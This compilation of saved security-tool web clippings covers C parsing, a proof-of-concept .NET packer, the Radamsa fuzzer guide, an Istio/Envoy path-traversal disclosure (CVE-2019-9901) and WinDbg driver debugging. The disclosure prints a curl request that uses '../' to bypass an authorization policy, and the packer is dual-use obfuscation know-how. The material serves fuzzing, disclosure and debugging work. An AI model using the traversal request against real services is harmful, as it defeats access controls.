source and it knows how to parse C. However, what it builds from the code as
it parses it is not an AST, but code in a simplified assembly language. While
this makes lcc very comfortable for retargeting generation of code from C to
some new platform’s assembly, it doesn’t help when one wants to do static
analysis of C code.

Writing a parser of my own has crossed my mind more than once, but this is a
more difficult job than seems at first. C’s grammar is far from trivial, it’s
context sensitive and hence requires some bidirectional data passing between
the lexer and the parser. Like with many things, while it’s easy to build a
partial, toy parser, it is far more difficult to build a full-strength one,
which will tackle all the quirks of the C grammar successfully.

However, as I’ve written here, there’s another tool out there – c2c. It was
written as a part of Cilk – an extension language for C. c2c’s aim is to be a
“type checking preprocessor”. In fact, it is a full C parser with a very
advanced grammar, that creates ASTs and even knows how to unparse them back
into C. For example, consider this code:

[code]

    #define PI 3.14
    
    #if 0
    #define TAR(x) x
    #else
    #define TAR(x) (2 + x)
    #endif
    
    int foo(int jar)
    {
        int koo = jar / PI;
    
        if (koo > 5)
            return TAR(6);
        else
            return 0;
    }
    
[/code]

Here’s the AST c2c creates from it:

[code]

    Proc:
      Decl: foo (0x003DAAB0) top_decl
        Fdcl:
          List: Args:
            Decl: jar (0x003DAB90) formal_decl
              Prim: int
              nil
              nil
          Returns:
            Prim: int
        nil
        nil
      Block:
        Type: (0x003D2648)
          Prim: void
        List: decl
          Decl: koo (0x003DBD38) block_decl
            Prim: int
            ImplicitCast:
              Type:
                Prim: int
              Binop: /
                Prim: double
                ImplicitCast:
                  Type:
                    Prim: double
                  Id: jar
                    Decl: jar (0x003DAB90) formal_decl
    
                Const: double 3.14
            nil
            Live: koo
        List: stmts
          IfElse:
            Binop: >
              Prim: int
              Id: koo
                Decl: koo (0x003DBD38) block_decl
    
                  Live: koo
              Const: int 5
            Return:
              Binop: +
                Prim: int
                Value:
                  Const: int 8
                Const: int 2
                Const: int 6
            Return:
              Const: int 0
    
[/code]

While it is a bit wordy \(c2c also does type checking and adds type
information into the AST\), it is quite easy to follow and see that it indeed
represents the C code.

One problem I had with c2c is that it assumes the presence of cpp – the C
preprocessor. Luckily, the LCC project comes with an open source cpp which
does its work quite well. It wasn’t difficult making the two tools work
together, and not at last I have a workable C -> AST translator.

Naturally, the analysis of C I want to do is not in C itself. I much prefer
doing it in Perl or Lisp. Therefore, I’ll work on translating the AST into
some more program-friendly format \(one idea is a s-expr\) and then read it
into the higher-level language for analysis.

# friedkiwi/netcrypt

**Created:**| _10/29/2013 11:14:59 AM_  
---|---  
**Updated:**| _10/29/2013 11:14:59 AM_  
**Author:**| __  
**Tags:**| _.Net Obfuscation_  
  

# netcrypt

A proof-of-concept packer for .NET executables, designed to provide a starting
point to explain the basic principles of runtime packing.

It is a full implementation of a simple .NET PE file packer, which doesn't use
native code.

It can perform the following tasks:

  * pack itself
  * packing files packed by itself \(up to four layers of packing are tested\)
  * automagically resolve dependencies of the packed EXE

The following downsides/problems are known:

  * output files are quite big
  * there is no compression
  * console applications/DLLs cannot be packed.

Download URL: https://github.com/friedkiwi/netcrypt/releases/tag/v1.0

#  Implementation

The packer is implemented in a shared library called netcrypt.dll. If you
reference this library you can just use the following code to pack a file:

[code]

    byte[] arrayOfUnpackedExeBytes;
    // ... perform file loading/generation logic
    byte[] packedExe = Packer.Pack(arrayOfUnpackedExeBytes);
    
[/code]

A sample GUI has been created in the SimplePacker project to demonstrate this
principle.

#  Sample files

In the /sample firectory you can find two files: input.exe and output.exe. The
naming should indicate which one is packed and which one is not.

#  Warning

This is a proof-of-concept code sample; it is possible that it will not work
on your set up or does not work at all on your system. This packer is also
considered to be highly insecure \(as with all obfuscators/packers which
provide security by obscurity\), since an unpacker can be easily constructed.

#  License

Licensed under the GNU GPLv3 license.

#  Contact

e-mail: netcrypt@friedkiwi.be

# Radamsa - ouspg - On fuzzing. - tools for the b\[ei\]tterment of mankind -
Google Project Hosting

**Created:**| _1/24/2013 10:15:48 AM_  
---|---  
**Updated:**| _1/24/2013 10:15:48 AM_  
**Author:**| __  
**Tags:**| _Fuzzer File-format protocol-analysis_  
  

# **A** Crash Course to Radamsa****

> Radamsa is a test case generator for robustness testing, aka a fuzzer**.**
> It can be used to test how well programs can stand malformed and potentially
> malicious inputs**.** It operates solely based on given samples and thus
> requires minimal effort to use**.** The main selling points of radamsa are
> that it is easy to use, contains several old and new fuzzing algorithms, is
> easy to script from command line and has already been used to find a slew of
> issues in real-world programs.
> Nutshell:
[code]

>      $ # please please please fuzz your programs. here is one way to get
> data for it:  
>     >  $ sudo apt-get install gcc curl  
>     >  $ curl https://ouspg.googlecode.com/files/radamsa-0**.** 3.tar.gz \  
>     >      | tar -zxvf - && cd radamsa-0**.** 3 && make && sudo make install  
>     >  $ cat file | radamsa > file.fuzzed
[/code]

## What the Fuzz****

Typical computer programs are extremely complex beasts**.** In most programs
extremely small errors in the code, compiler, library or any other component
can lead to possibility of a malicious party exploiting the issue and gaining
undesired powers**.**

In order check that programs work as intended, we use various forms of
positive testing**.** Many programs come with extensive test suites of inputs
for which the behavior of the program is checked**.** Additionally, programs
have more and less obvious negative requirements, like not crashing for any
inputs**.** These are both in theory and practice usually harder to satisfy,
because unlike with given known cases, we have an infinite number of possible
inputs**.**

Fuzzing is one of the simple and often effective approaches for testing the
negative requirements**.** In practice this means using a fuzzer to generate
more and less random input data, and using some kind of test setup to detect
if anything sufficiently bad happens to the target program when given the
input**.**

There are many kinds of fuzzers. A common way to classify them is to map the
amount of data the fuzzer has about the target program or appliance and its
internals to a grayscale color**.** A theoretically black-box fuzzer doesn't
know anything and thus only generates data out of nothing**.** Typical black-
box fuzzers are given samples of what kind of data a program processes, but
then are assumed to go about generating interesting data without any feedback
as to what is processing the data or even how well the previous attempts have
worked**.** Gray-box fuzzers have some knowledge about the target and running
of the tests, and a white-box fuzzer often means one that is given the full
spec of data formats, program, the binary in question and/or runtime tracing
data possibly with control of the runtime behavior**.**

Intuitively black-box fuzzers are easy to use and general purpose, but don't
dig deep into the state space of a program, unless they are lucky, while
white-box fuzzers are harder to use and tailored for some particular task, and
have what it needs to dig deep into the intended functionality**.** The set of
bugs found by the different approaches are usually at least somewhat
disjoint**.**

Other typical approaches to testing include static code analysis, where
preferably a program is used to automatically detect possible vulnerabilities
in code, and various forms of simulated program running which allow one to
step through the possible state space**.** The pros of fuzzing are that it is
often extremely simple to start testing a product, scaling is easy, one can
refine the data being tested later and each bug comes automatically paired
with a proof of concept piece of data that triggers the undesired
condition**.**

All code should be tested in as many ways as possible and as early as
possible**.** An important thing to keep in mind is that an opportunistic
hacker will most likely start by doing some brute force fuzzing, so tt doesn't
help if your product has been extensively unit tested on the function level,
but there is a vulnerable third party library, confusion of roles, thread race
or another condition which is still easily exposed by black-box tools**.**
Full-program fuzzing is basically unit testing done too late, but you should
still always do it**.**

## Radamsa****

Radamsa is a somewhat new kind of black-box fuzzer**.** It is designed to be a
good general purpose tool for developers and vendors who want to test how well
their products can stand malicious inputs**.** Unlike most similar tools, it
is intended to work for just about any kind of data without any extra
hacking**.** It has been used to find previously unknown bugs in several image
formats, XML, PDF, HTML, proprietary formats, archive files and many kinds of
things with wildly different internal structure**.** The main goal is to make
a tool that works well no matter what kind of data is thrown at it**.** By
extension, we would like programs other fuzzers not to find too many bugs in
programs that have already been fuzzed with radamsa**.**

The problem of making a truly general purpose fuzzer poses some interesting
problems. The current approach is to use a lot of different kinds of mutations
that have turned out to find interesting bugs**.** Many of the mutations don't
assume anything about the structure of the data, some assume it might be
textual and do related old, novel and weird things to it, and some assume
frequent exact encodings or other structures and play with them**.**

The tool is a side product of OUSPG's Protos Genome Project, in which some
techniques to automatically analyze and examine the structure of communication
protocols were explored**.** A subset of one of the tools turned out to be a
surprisingly effective file fuzzer**.** Our first prototype black-box fuzzer
tools mainly used regular and context-free formal languages to represent the
inferred model of the data**.** Two derivatives of the early prototypes
\(grafu and permu\) are still used in radamsa**.**

Thus, radamsa is actually a flock of fuzzers, wrapped in an easy-to-use
package which we hope would be used by also others than us**.**

### Requirements****

Operating System:

  * GNU/Linux 
  * OpenBSD \(and probably other BSDs\) 
  * Mac OS X 
  * Windows \(experimental\) 

Software requirements for building from sources:

### Installation****

Instructions for downloading and compiling the current version in a Debian-
based Linux are at the top of this page**.** There should also be static
binary and a Windows-executable in the Downloads section**.** You only need to
have the radamsa binary anywhere to use it, but running $ make install will
also copy the manual page and make it usable for other users of the
system**.**

#### Building Radamsa****

[code]

     $ git clone http://haltp.org/git/radamsa.git  
     $ cd radamsa  
     $ make  
     $ sudo make install  
     $ radamsa --help
[/code]

On first build this will also fetch and build owl lisp  to compile the Scheme
sources to C. This may take a few minutes to complete**.**

#### Building Legacy Radamsa 0**.** 1.9****

The 0.1 series of radamsa used a different set of global analysis**.** While
this tool has been used to find dozens of interesting vulnerabilities in the
past, we recommend using the newest ones which do similar mutations in sub-
linear space**.** The 0.1 series could take up to 100x the sample size of
memory and write less than 100Kb/s, while the newer versions work in roughly
constant space and generate data orders of magnitude faster**.**

For small sets of small samples the old one might still be useful**.** To
compile it, use:

[code]

    $ wget http://ouspg.googlecode.com/files/radamsa-0**.** 1.9.c.gz  
    $ gunzip radamsa-0**.** 1.9.gz  
    $ gcc -O2 -o radamsa radamsa-0.1**.** 9.c  
    $ ./radamsa --help
[/code]

## Fuzzing with Radamsa****

This section assumes some familiarity with UNIX scripting**.**

Radamsa can be thought as the `cat` UNIX tool, though it manages to break the
data in often interesting ways as it flows through**.** It has also support
for generating more than one output at a time and acting as a TCP server or
client, in case such things are needed**.**

Use of radamsa will be demonstrated by means of small examples**.** We will
use the `bc` arbitrary precision calculator as an example target program**.**

In the simplest case, from scripting point of view, radamsa can be used to
fuzz data going through a pipe**.**

[code]

     $ echo "aaa" | radamsa  
     aaaa
[/code]

Here radamsa decided to add one 'a' to the input**.** Let's try that again.

[code]

     $ echo "aaa" | radamsa  
     ːaaa
[/code]

Now we got another result**.** By default radamsa will grab a random seed from
/dev/urandom if it is not given a specific random state to start from, and you
will generally see a different result every time it is started, though for
small inputs you might see the same or the original fairly often **.** The
random state to use can be given with the `-s` parameter, which is followed by
a number**.** Using the same random state will result in the sama data being
generated**.**

[code]

     $ echo "Fuzztron 2000" | radamsa --seed 4  
     Fuzztron 4294967296
[/code]

This particular example was chosen because radamsa happens to choose to use a
number mutator, which replaces textual numbers with something else**.**
Programmers might recognize why for example this particular number might be an
interesting one to test for**.**

You can generate more than one output by using the `-n` parameter as follows:

[code]

     $ echo "1 + (2 + (3 + 4))" | radamsa --seed 12 -n 4  
     1 + (2 + (2 + (3 + 4**?**)  
     1 + (2 + (3 +?4))  
     18446744073709551615 + 4)))  
     1 + (2 + (3 + 170141183460469231731687303715884105727))
[/code]

There is no quarantee that all of the outputs will be unique**.** However,
when using nontrivial samples, equal outputs tend to be extremely rare**.**

What we have so far can be used to for example test programs that read input
from standard input, as in

[code]

     $ echo "100 * (1 + (2 / 3))" | radamsa -n 10000 | bc  
     [..**.**]  
     (standard_in) 1418: illegal character: ^_  
     (standard_in) 1422: syntax error  
     (standard_in) 1424: syntax error  
     (standard_in) 1424: memory exhausted  
     [hang]
[/code]

Or the compiler used to compile Radamsa:

[code]

     $ echo '((lambda (x) (+ x 1)) #x124214214)' | radamsa -n 10000 | ol  
     [..**.**]  
     > What is 'ó µ'?   
     4901126677  
     > $
[/code]

Or to test decompression:

[code]

     $ gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null
[/code]

Typically however one might want separate runs for the program for each
output**.** Basic shell scripting makes this easy. Usually we want a test
script to run continuously, so we'll use an infinite loop here:

[code]

     $ gzip -c /bin/bash > sample**.** gz  
     $ while true; do radamsa sample.gz | gzip -d > /dev/null; done
[/code]

Notice that we are here giving the sample as a file instead of running Radamsa
in a pipe**.** Like `cat` Radamsa will by default write the output to stdout,
but unlike `cat` when given more than one file it will usually use only one or
a few of them to create one output**.** This test will go about throwing
fuzzed data against gzip, but doesn't care what happens then**.** One simple
way to find out if something bad happened to a \(simple single-threaded\)
program is to check whether the exit value is greater than 127, which would
indicate a fatal program termination**.** This can be done for example as
follows:

[code]

     $ gzip -c /bin/bash > sample**.** gz  
     $ while true  
     do  
       radamsa sample**.** gz > fuzzed**.** gz  
       gzip -dc fuzzed.gz > /dev/null  
       test $**?** -gt 127 && break  
     done
[/code]

This will run for as long as it takes to crash gzip, which hopefully is no
longer even possible, and the fuzzed**.** gz can be used to check the issue if
the script has stopped**.** We have found a few such cases, the last one of
which took about 3 months to find, but all of them have as usual been filed as
bugs and have been promptly fixed by the upstream**.**

One thing to note is that since most of the outputs are based on data in the
given samples \(standard input or files given at command line\) it is usually
a good idea to try to find good samples, and preferably more than one of
them**.** In a more real-world test script radamsa will usually be used to
generate more than one output at a time based on tens or thousands of samples,
and the consequences of the outputs are tested mostly in parallel, often by
giving each of the output on command line to the target program**.** We'll
make a simple such script for `bc`, which accepts files from command line**.**
The `-o` flag can be used to give a file name to which radamsa should write
the output instead of standard output**.** If more than one output is
generated, the path should have a `%n` in it, which will be expanded to the
number of the output**.**

[code]

     $ echo "1 + 2" > sample-1  
     $ echo "(124 % 7) ^ 1*2" > sample-2  
     $ echo "sqrt((1 + length(10^4)) * 5)" > sample-3  
     $ bc sample-* < /dev/null  
     3  
     10  
     5  
     $ while true  
     do  
       radamsa -o fuzz-%n -n 100 sample-*  
       bc fuzz-* < /dev/null  
       test $**?** -gt 127 && break  
     done
[/code]

This will again run up to obviously interesting times indicated by the large
exit value, or up to the target program getting stuck**.**

In practice many programs fail in unique ways**.** Some common ways to catch
obvious errors are to check the exit value, enable fatal signal printing in
kernel and checking if something new turns up in `dmesg`, run a program under
`strace`, `gdb` or `valgrind` and see if something interesting is caught,
check if an error reporter process has been started after starting the
program, etc**.**

### Output Options****

The examples above all either wrote to standard output or files**.** One can
also ask radamsa to be a TCP client or server by using a special parameter to
-o**.** The output patterns are:

**-o argument** |  **meaning** |  **example**  
---|---|---  
:port |  act as a TCP server in given port |  \# radamsa -o :80 -n inf samples/`*`.http-resp   
ip:port |  connect as TCP client to port of ip |  $ radamsa -o 127**.** 0.0.1:80 -n inf samples/`*`.http-req   
\- |  write to stdout |  $ radamsa -o - samples/`*` **.** vt100   
path |  write to files, %n is the case number |  $ radamsa -o test-%n.foo -n 100 samples/`*`.foo   
Remember that you can use e.g. tcpflow to record TCP traffic to files, which
can then be used as samples for radamsa**.**

## Related Tools****

A non-exhaustive list of free complementary tools:

A non-exhaustive list of related free tools:

Tools which are intended to improve security are usually complementary and
should be used in parallel to improve the results**.** Radamsa aims to be an
easy-to-set-up general purpose shotgun test to expose the easiest \(and often
severe due to being reachable from via input streams\) cracks which might be
exploitable by getting the program to process malicious data**.** It has also
turned out to be useful for catching regressions when combined with continuous
automatic testing**.**

## Known Results****

A robustness testing tool is obviously only good only if it really can find
non-trivial issues in real-world programs. Being a University-based group, we
have tried to formulate some more scientific approaches to define what a 'good
fuzzer' is, but real users are more likely to be interested in whether a tool
has found something useful**.** We do not have anyone at OUSPG running tests
or even developing Radamsa full-time, but we obviously do make occasional
test-runs, both to assess the usefulness of the tool, and to help improve
robustness of the target programs. For the test-runs we try to select programs
that are mature, useful to us, widely used, preferably open source and/or tend
to process data from outside sources**.**

The list below has some CVE:s we know of that have been found by using
Radamsa**.** Some of the results are from our own test runs, and some have
been kindly provided by CERT-FI from their tests and other users**.** As
usual, please note that CVE:s should be read as 'product X is now more robust
\(against Y\)'**.**

  * CVE-2007-3641  \- libarchive - OUSPG 
  * CVE-2007-3644  \- libarchive - OUSPG 
  * CVE-2007-3645  \- libarchive - OUSPG 
  * CVE-2008-1372  \- bzip2 \(grafu or permu\) - OUSPG 
  * CVE-2008-1387  \- ClamAV - OUSPG 
  * CVE-2008-1412  \- F-Secure - OUSPG 
  * CVE-2008-1837  \- ClamAV - OUSPG 
  * CVE-2008-6536  \- 7-zip - OUSPG 
  * CVE-2008-6903  \- Sophos Anti-Virus - OUSPG 
  * CVE-2010-0001  \- Gzip - integer underflow in unlzw - OUSPG 
  * CVE-2010-0192  \- Acroread - OUSPG 
  * CVE-2010-1205  \- libpng - OUSPG 
  * CVE-2010-1410  \- Webkit - OUSPG 
  * CVE-2010-1415  \- Webkit - OUSPG 
  * CVE-2010-1793  \- Webkit - OUSPG 
  * CVE-2010-2065  \- libtiff - found by CERT-FI 
  * CVE-2010-2443  \- libtiff - found by CERT-FI 
  * CVE-2010-2597  \- libtiff - found by CERT-FI 
  * CVE-2010-2482  \- libtiff - found by CERT-FI 
  * CVE-2011-0522  \- VLC - found by Harry Sintonen 
  * CVE-2011-0181  \- Apple ImageIO - found by Harry Sintonen 
  * CVE-2011-0198  \- Apple Type Services - found by Harry Sintonen 
  * CVE-2011-0205  \- Apple ImageIO - found by Harry Sintonen 
  * CVE-2011-0201  \- Apple CoreFoundation - found by Harry Sintonen 
  * CVE-2011-1276  \- Excel - found by Nicolas Grégoire of Agarri 
  * CVE-2011-1186  \- Chrome - OUSPG 
  * CVE-2011-1434  \- Chrome - OUSPG 
  * CVE-2011-2348  \- Chrome - OUSPG 
  * CVE-2011-2804  \- Chrome/pdf - OUSPG 
  * CVE-2011-2830  \- Chrome/pdf - OUSPG 
  * CVE-2011-2839  \- Chrome/pdf - OUSPG 
  * CVE-2011-2861  \- Chrome/pdf - OUSPG 
  * CVE-2011-3146  \- librsvg - found by Sauli Pahlman 
  * CVE-2011-3654  \- Mozilla Firefox - OUSPG 
  * CVE-2011-3892  \- Theora - OUSPG 
  * CVE-2011-3893  \- Chrome - OUSPG 
  * CVE-2011-3895  \- FFmpeg - OUSPG 
  * CVE-2011-3957  \- Chrome - OUSPG 
  * CVE-2011-3959  \- Chrome - OUSPG 
  * CVE-2011-3960  \- Chrome - OUSPG 
  * CVE-2011-3962  \- Chrome - OUSPG 
  * CVE-2011-3966  \- Chrome - OUSPG 
  * CVE-2011-3970  \- libxslt - OUSPG 
  * CVE-2012-0449  \- Firefox - found by Nicolas Grégoire of Agarri 
  * CVE-2012-0469  \- Mozilla Firefox - OUSPG 
  * CVE-2012-0470  \- Mozilla Firefox - OUSPG 
  * CVE-2012-0457  \- Mozilla Firefox - OUSPG 
  * CVE-2012-2825  \- libxslt - found by Nicolas Grégoire of Agarri 
  * CVE-2012-2849  \- Chrome/GIF - OUSPG 
  * CVE-2012-3972  \- Mozilla Firefox - found by Nicolas Grégoire of Agarri 
  * CVE-2012-1525  \- Acrobat Reader - found by Nicolas Grégoire of Agarri 
  * CVE-2012-2871  \- libxslt - found by Nicolas Grégoire of Agarri 
  * CVE-2012-2870  \- libxslt - found by Nicolas Grégoire of Agarri 
  * CVE-2012-2870  \- libxslt - found by Nicolas Grégoire of Agarri 
  * CVE-2012-4922  \- tor - found by the Tor project 
  * CVE-2012-5108  \- Chrome - OUSPG 
  * CVE-2012-2887  \- Chrome - OUSPG 
  * CVE-2012-4185  \- Mozilla Firefox - OUSPG 
  * CVE-2012-4186  \- Mozilla Firefox - OUSPG 
  * CVE-2012-4187  \- Mozilla Firefox - OUSPG 
  * CVE-2012-4188  \- Mozilla Firefox - OUSPG 

We would like to thank the Chromium project and Mozilla for analyzing, fixing
and reporting further many of the above mentioned issues, CERT-FI for feedback
and disclosure handling, and other users, projects and vendors who have
responsibly taken care of uncovered bugs**.**

## Troubleshooting****

Issues in Radamsa can be reported to the issue tracker **.** The tool is under
development, but we are glad to get error reports even for known issues to
make sure they are not forgotten**.**

You can also drop by at \#radamsa on Freenode if you have questions or
feedback**.**

Issues your programs should be fixed**.** If Radamsa finds them quickly \(say,
in an hour or a day\) chances are that others will too**.**

Issues in other programs written by others should be dealt with
responsibly**.** Even fairly simple errors can turn out to be exploitable,
especially in programs written in low-level languages**.** In case you find
something potentially severe, like an easily reproducible crash, and are
unsure what to do with it, ask the vendor or project members, or your local
CERT**.**

**Q:** If I find a bug with radamsa, do I have to mention the tool**?**  
**A:** No**.**

**Q:** Will you make a graphical version of radamsa**?**  
**A:** No**.** The intention is to keep it simple and scriptable for use in
automated regression tests and continuous testing**.**

**Q:** I can't install**\!** I don't have root access on the machine\!  
**A:** You can omit the `$ make install` part and just run radamsa from
`bin/radamsa` in the build directory, or copy it somewhere else and use from
there**.**

**Q:** Radamsa takes several GB of memory to compile**\!** 1  
**A:** This is most likely due to an issue with GCC 4**.** 5\. See
http://code.google.com/p/ouspg/issues/detail**?** id=65 . Use the prebuilt
binaries from Downloads  or try with another C compiler/version**.**

**Q:** Radamsa does not compile using the instructions in this page**\!**  
**A:** Please file an issue at http://code.google.com/p/ouspg/issues/list  if
you don't see a similar one already filed, or contact us via email
\(ouspg@ee.oulu**.** fi\) or IRC \(\#radamsa on freenode\).

**Q:** I used fuzzer X and found much more bugs from program Y than Radamsa
did**.**  
**A:** Cool. Let us know about it \(ouspg@ee.oulu**.** fi\) and we'll try to
hack something X-ish to radamsa if it's general purpose enough**.** It'd also
be useful to get some samples which you used to check how well radamsa does,
because it might be overfitting some heuristic**.**

**Q:** Can I get support for using radamsa**?**  
**A:** You can send email to us at ouspg@ee.oulu**.** fi or check if some of
us happen to be hanging around at \#radamsa on freenode**.**

**Q:** Can I use radamsa on Windows**?**  
**A:** An experimental Windows executable is now in Downloads , but we have
usually not tested it properly since we rarely use Windows internally**.**
Feel free to file an issue if something is broken.

**Q:** How can I install radamsa**?**  
**A:** Grab a binary from downloads and run it, or `$ make && sudo make
install`**.**

**Q:** How can I uninstall radamsa**?**  
**A:** Remove the binary you grabbed from downloads, or `$ sudo make
uninstall`**.**

**Q:** Why are many outputs generated by Radamsa equal to the input**?**  
**A:** Radamsa doesn't keep track which outputs it has already generated, but
instead relies on varying mutations to keep the output varying enough**.**
Outputs can often be the same if you give just a few bytes of sample material,
or have e.g. empty files as samples**.** If you do spot a case where lots of
equal outputs are generated from nontrivial samples we'd be interested in
hearing about it**.**

**Q:** There are lots of command line options**.** Which should I use for best
results?  
**A:** The recommended use is `$ radamsa -o output-%n.foo -n 100
samples/*.foo`, which is also what is used internally at OUSPG**.** It's
usually best and most future proof to let radamsa decide the details**.**

**Q:** What's with the funny name**?**  
**A:** It's from a scene in a Finnish children's story**.** You've probably
never heard about it.

**Q:** Is this the last question**?**  
**A:** Yes.

## Warnings****

Use of data generated by radamsa, especially when targeting buggy programs
running with high privileges, can result in arbitrarily bad things to
happen**.** A typical unexpected issue is caused by a file manager, automatic
indexer or antivirus scanner trying to do something to fuzzed data before they
are being tested intentionally**.** We have seen spontaneous reboots, system
hangs, file system curruption, loss of data and other nastiness**.** When in
doubt, use a disposable system, throwaway profile, chroot jail, sandbox,
separate user account or an emulator**.**

Not safe when used as prescribed.

This product may contain faint traces of parenthesis**.**

****

# Threat Intelligence: Collecting, Analysing, Evaluating

**Created:**| _4/5/2015 8:09:52 PM_  
---|---  
**Updated:**| _4/5/2015 8:10:36 PM_  
**Author:**| __  
**Tags:**| _searching siem_  
  
  
<img src='img/23-March-2015-MWR_Threat_Intelligence_whitepaper-2015.pdf' />  

# Deobfuscating Embedded Malware using Probable-Plaintext Attacks

**Created:**| _11/1/2013 9:48:37 AM_  
---|---  
**Updated:**| _11/1/2013 9:48:58 AM_  
**Author:**| _wishi_  
**Tags:**| _Debugging crypto Malware-analysis Obfuscation_  
  
<img src='img/2013-raid.pdf' />

# eoftedal/writings

**Created:**| _4/25/2019 6:31:10 AM_  
---|---  
**Updated:**| _4/25/2019 6:31:10 AM_  
**Author:**| __  
**Tags:**| _network-security kubernetes_  
  

  

# CVE-2019-9901 - Istio/Envoy Path traversal

TLDR; I found a path traversal bug in Istio's authorization policy
enforcement.

## Discovery

About a year ago, as a part of a customer project, I started looking at Istio,
and I really liked what I saw. In fact I liked it so much that I decided to
submit a talk for it for JavaZone in 2018. My favorite thing about Istio was,
and still is, the mutualTLS authentication and authorization with workload
bound certificates with SPIFFE identities.

Istio has evolved a lot from the first version 0.5.0, which I initially looked
at, to the 1.1 release. The 0.5.0 authorization policies came in the form of
_deniers_ , which sounded a lot like blacklists. The later versions have moved
to a positive security model \(whitelist\), where you can specify which
workloads \(and/or end-users based on JWT\) should be allowed to access
certain services. Further restrictions can be specified using a set of
protocol based authorization rules. I really like the coarse-grained workload
authorization, but I'm not too fond of the protocol based rules. We have seen
different parsers interpreting the same thing in different ways way too many
times. Some perfect examples of this, are in Orange Tsai brilliant research
presented in A New Era of SSRF - Exploiting URL Parser in Trending Programming
Languages\!. I mentioned my concerns about this in some later versions of my
Istio talk, but never actually tested it... untill now...

## The bug

I set up a simple project with a web server and deployed it on Kubernetes. The
web application had two endpoints `/public/` and `/secret/`. I added an
authorization policy which tried to grant access to anything below `/public/`:

[code]

      rules:
      - services: ["backend.fishy.svc.cluster.local"]
        methods: ["GET"]
        paths: ["/public/*"]
    
[/code]

I then used standard **path traversal** from curl:

[code]

    curl -vvvv --path-as-is  "http://backend.fishy.svc.cluster.local:8081/public/../secret/"
    
[/code]

And was able to reach `/secret/`.

## Timeline

The istio team was very friendly and responsive and kept me up to date on the
progress.

  * 2019-02-18: I send the intial bug report sent to the istio-security-vulnerabilities mailbox
  * 2019-02-18: Istio Team acknowledges receiving the report
  * 2019-02-20: Istio Team reports the bug has been triaged and work started
  * 2019-02-27: I ask some follow up questions to the mail received on the 20th
  * 2019-02-27: Istio Team replies to questions
  * 2019-03-28: Istio Team updates me about working with the Envoy team to fix this and plan to release this on April 2nd. The envoy issue was created on the 20th of February: https://github.com/envoyproxy/envoy/issues/6008
  * 2019-04-01: Istio Team sends an new update setting April 5th as a new target date
  * 2019-04-05: The security fix is published in Istio version 1.1.2/1.0.7 and Envoy version 1.9.1. The Envoy bug is assigned CVE-2019-9901

Measure

Measure

# Windows Drivers Debugging - UIC

**Created:**| _4/10/2011 11:34:42 AM_  
---|---  
**Updated:**| _4/10/2011 11:34:42 AM_  
**Author:**| __  
**Tags:**| _Debugging windows Driver_  
  

# Windows Drivers Debugging

## Contents

  * 1 Windows Drivers Debugging
    * 1.1 Introduction
    * 1.2 Tools & Files
    * 1.3 Essay
      * 1.3.1 The Problem
      * 1.3.2 Setting Up Communication Between Host and Guest
      * 1.3.3 Our First Session
        * 1.3.3.1 Setting Up Symbols
      * 1.3.4 Debugging Our Driver
      * 1.3.5 Organizing Work Space
      * 1.3.6 Windbg Commands
        * 1.3.6.1 Managing BreakPoints
        * 1.3.6.2 Data Displaying
        * 1.3.6.3 Data Editing
        * 1.3.6.4 Examining a BugCheck
      * 1.3.7 Debugger Extensions
        * 1.3.7.1 Handy Extensions
        * 1.3.7.2 Driver Specific Extensions
      * 1.3.8 Link Reference
    * 1.4 The End
    * 1.5 Disclaimer

  
---  
  

Windows Drivers Debugging  
---  
Author: | Evilcry  
Email: | evilcry@gmail.com   
Website: |  Home page   
Date: | 01/04/2011 \(dd/mm/yyyy\)   
Level: | <img src='img/Temp2_9588.gif' alt='Some skills are required' />  
Language: | English <img src='img/Temp2_9587.gif' width='18' height='12' alt='Image:Flag_English.gif' />  
Comments: | This is a Comment   
  

  

##  Introduction

In this tutorial we are going to see how to setup a Debugging Environment for
our Drivers. This is not a complete guide, it's just a quick tour intended to
give a fast overview of Windbg and problems involved into Driver Debugging.

  

##  Tools & Files

  * DriverLoader
  * WinDbg

  

##  Essay

###  The Problem

Setting up a full working **Kernel Debugging Environment** is often seen, by
novices, as a pretty challenging task. Difficulties comes essentially by the
fact that working with a Debugger at Kernel Level implies that entire machine
is completely locked for a certain amount of time.

Here pop up the necessity to work with **Two Machines** \( a physical and a
virtual target machine \) in order to enstablish the following relationship:

  * **Host System** used to debug and Remote Machine. 
  * **Guest System** that acts as ther Remote Machine to be debugged. 

Became clear that we need a debugger that supports:

  1. **Kernel Level Debugging**
  2. **Remote Debugging**

WinDbg debugger fits all our needs, so we must setup correct communication
layer between Host and Guest and successively use Remote Debugging
functionalities of our debugger.

###  Setting Up Communication Between Host and Guest

The approach that we will follow is identical to the one described by Lords of
Ring0. Where the idea is to setup a Virtual Serial Port Connection that will
be used by the Host that have WinDbg to access the remote machine.

You can follow the proposed step by step guide also in case you want to use
**VirtualBox** VM.

When you have completed these steps, let's build a Batch File that contains
the necessary command line arguments to start a kernel mode debugging session:

  

windbg -b -k com:pipe,port=\\\\.\pipe\com\_1,resets=0

The batch file need to be placed in the same directory where is located
**windbg.exe**

###  Our First Session

If your installation is correct after executing windbg you should see
something like this:

<img src='img/Temp2_9583.gif' width='643' height='324' alt='File:Wdd 1.jpg' />

Last line tells you that WinDbg is now holding the control of your Guest
System, indeed by switching to the Virtual Machine, if things went well OS
should be completely frozen.

But as you can see, the debugger alert us that there are some errors about
Symbols, don't worry it's normal, we need to setup correct Debugging Symbols
now.

####  Setting Up Symbols

Debugging Symbols are extremely important components that **Correlates the**
**Assembly with Source Code Level Informations** , a great amount of
informations necessary for a Correct and Painless debugging session. It's
important to distinguish between:

  * **Public Symbols**
  * **Private Symbols**

First thing is to verify that Windbg can find symbols, this is done by setting
the **Symbol Path** , from command line:

  

kd> .sympath SRV\*d:\DebugSymbols\*http://msdl.microsoft.com/download/symbols

The above command assumes that the Symbol Path is **D:\DebugSymbols\**

Successively would be good practice to increase verbosity level of Symbol
Loading Operations, we can use the following command:

  

kd> \!sym noisy

And finally reload symbols:

kd> .reload /f

At this point Symbols if symbol reload and resolution goes well, our Windbg is
working with the correct symbols.

###  Debugging Our Driver

System is now ready to debug our driver, we just need to deal with our Driver
Project which is composed by:

  * **Source Codes**
  * **Binary Driver File**

The first step is to place the entire driver project \(Src+Bin\) into a shared
folder between host and guest.

Source Code need to be opened with Windbg:

<img src='img/Temp2_9584.gif' width='368' height='184' alt='File:Wdd 2.jpg' />

Otherwise, the .sys need to be loaded into Guest Machine.

Just a side note, our debugger still holds the control of the target machine,
to release control just press **F5** until you see 'Debuggae Running'.

Time now to instruct Windbg to hold control of our driver, let's assume you
